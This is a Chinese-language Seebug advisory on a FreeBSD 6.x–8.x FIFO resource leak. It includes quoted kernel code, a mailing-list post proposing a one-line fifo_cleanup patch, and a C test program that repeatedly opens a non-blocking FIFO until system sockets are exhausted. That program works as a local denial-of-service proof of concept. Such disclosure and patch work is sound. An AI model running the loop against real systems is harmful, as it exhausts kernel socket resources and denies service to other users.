FreeBSD fifo_vnops.c资源泄漏本地拒绝服务漏洞

2009-11-09T00:00:00
ID SSV:12594
Type seebug
Reporter Root
Modified 2009-11-09T00:00:00

Description

BUGTRAQ ID: 36949

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统。

FreeBSD的usr/src/sys/fs/fifofs/fifo_vnops.c文件中存在资源泄漏漏洞:

/ Open called to set up a new instance of a fifo or to find an active instance of a fifo. / / ARGSUSED / static int fifo_open(ap) struct vop_open_args / { struct vnode a_vp; int a_mode; struct ucred a_cred; struct thread a_td; struct file a_fp; } / ap; { struct vnode vp = ap->a_vp; struct fifoinfo fip; struct thread td = ap->a_td; struct ucred cred = ap->a_cred; struct file fp = ap->a_fp; struct socket rso, wso; int error; ... if ((fip = vp->v_fifoinfo) == NULL) { ... } ... if (ap->a_mode & FWRITE) { if ((ap->a_mode & O_NONBLOCK) && fip->fi_readers == 0) { mtx_unlock(&fifo_mtx); return (ENXIO); } fip->fi_writers++; if (fip->fi_writers == 1) { SOCKBUF_LOCK(&fip->fi_readsock->so_rcv); fip->fi_readsock->so_rcv.sb_state &= ~SBS_CANTRCVMORE; SOCKBUF_UNLOCK(&fip->fi_readsock->so_rcv); if (fip->fi_readers > 0) { wakeup(&fip->fi_readers); sorwakeup(fip->fi_readsock); } } } ... if ((ap->a_mode & FWRITE) && fip->fi_readers == 0) { VOP_UNLOCK(vp, 0); error = msleep(&fip->fi_writers, &fifo_mtx, PDROP | PCATCH | PSOCK, "fifoow", 0); vn_lock(vp, LK_EXCLUSIVE | LK_RETRY); if (error) { fip->fi_writers--; if (fip->fi_writers == 0) { socantrcvmore(fip->fi_readsock); mtx_lock(&fifo_mtx); fip->fi_wgen++; mtx_unlock(&fifo_mtx); fifo_cleanup(vp); } return (error); } ... }

在这段代码中,vp指针用于存储sys/vnode.h中定义的vnode结构。从最后一个if语句可知如果msleep()中出错,就会递减 writer的引用计数器;如果已递减至无,就会使用socantrcvmore()锁定fip->fi_readsock套接字描述符,然后启动互斥锁递增fip->fi_wgen计数器,最终对vp指针调用fifo_cleanup()清除FIFO资源:

/ Dispose of fifo resources. / static void fifo_cleanup(struct vnode vp) { struct fifoinfo *fip = vp->v_fifoinfo;

    ASSERT_VOP_ELOCKED(vp, "fifo_cleanup");
    if (fip->fi_readers == 0 && fip->fi_writers == 0) {
            vp->v_fifoinfo = NULL;
            (void)soclose(fip->fi_readsock);
            (void)soclose(fip->fi_writesock);
            free(fip, M_VNODE);
    }

}

但是在fifo_open()中,如果FIFO为非阻断模式且reader的引用计数器等于0,ap->a_mode & FWRITE的if语句就会解锁FIFO互斥锁并未经释放资源便返回ENXIO,导致资源泄漏。

FreeBSD FreeBSD 8.x FreeBSD FreeBSD 7.x FreeBSD FreeBSD 6.x 厂商补丁:

FreeBSD

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.freebsd.org/security/index.html

                                        
                                            
                                                We believe we have identified a significant resource leak
present in 6.x, 7.x, and 8.x.  We believe this is a regression
versus FreeBSD 4.x which appears to do the Right Thing (tm).

We have a test program (see below) which will run the system
out of sockets by repeated exercise of the failing code
path in the kernel.

Our proposed fix is applied to the file usr/src/sys/fs/fifofs/fifo_vnops.c


@@ -237,6 +237,8 @@
        if (ap->a_mode & FWRITE) {
                if ((ap->a_mode & O_NONBLOCK) && fip->fi_readers == 0) {
                        mtx_unlock(&fifo_mtx);
+                       /* Exclusive VOP lock is held - safe to clean */
+                       fifo_cleanup(vp);
                        return (ENXIO);
                }
                fip->fi_writers++;

Test program follows.

We welcome feedback on this proposed fix.

Chitti Nimmagadda
Engineer

Dorr H. Clark
Advisor

Graduate School of Engineering
Santa Clara University
Santa Clara, CA.

A test program which reveals the issue is presented here:

#include <stdio.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>


#define FIFOPATH "/tmp/fifobug.debug"

void getsysctl(name, ptr, len)
    const char *name;
    void *ptr;
    size_t len;
{
    size_t nlen = len;
    if (sysctlbyname(name, ptr, &nlen, NULL, 0) != 0) {
                perror("sysctl");
                printf("name: %s\n", name);
                exit(-1);
    }
    if (nlen != len) {
        printf("sysctl(%s...) expected %lu, got %lu", name,
            (unsigned long)len, (unsigned long)nlen);
                exit(-2);
    }
}

main(int argc, char *argv[])
{
	int acnt = 0, bcnt = 0, maxcnt;
	int fd;
	unsigned int maxiter;
	int notdone = 1;
	int i= 0;

	getsysctl("kern.ipc.maxsockets", &maxcnt, sizeof(maxcnt));
	if (argc == 2) {
		maxiter = atoi(argv[1]);
	} else {
		maxiter = maxcnt*2;
	}

	unlink(FIFOPATH);
	printf("Max sockets: %d\n", maxcnt);
	printf("FIFO %s will be created, opened, deleted %d times\n", 
		FIFOPATH, maxiter);

	getsysctl("kern.ipc.numopensockets", &bcnt, sizeof(bcnt));
	while(notdone && (i++ < maxiter)) {
		if (mkfifo(FIFOPATH, 0) == 0) {
			chmod(FIFOPATH, 
				S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH);
		}
		fd = open(FIFOPATH, O_WRONLY|O_NONBLOCK);
		if ((fd <= 0) && (errno != ENXIO)) {
			notdone = 0;
		} 
		unlink(FIFOPATH);
	}
	getsysctl("kern.ipc.numopensockets", &acnt, sizeof(acnt));
	printf("Open Sockets: Before Test: %d, After Test: %d, diff: %d\n",
		 bcnt, acnt, acnt - bcnt);
	if (notdone) {
		printf("FIFO/socket bug is fixed\n");
		exit(0);
	} else {
		printf("FIFO/socket bug is NOT fixed\n");
		exit(-1);
	}
}

http://www.cse.scu.edu/~dclark/coen_284_FreeBSD/fifo_socket_leak.txt


_______________________________________________
freebsd-hackers@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hackers
To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"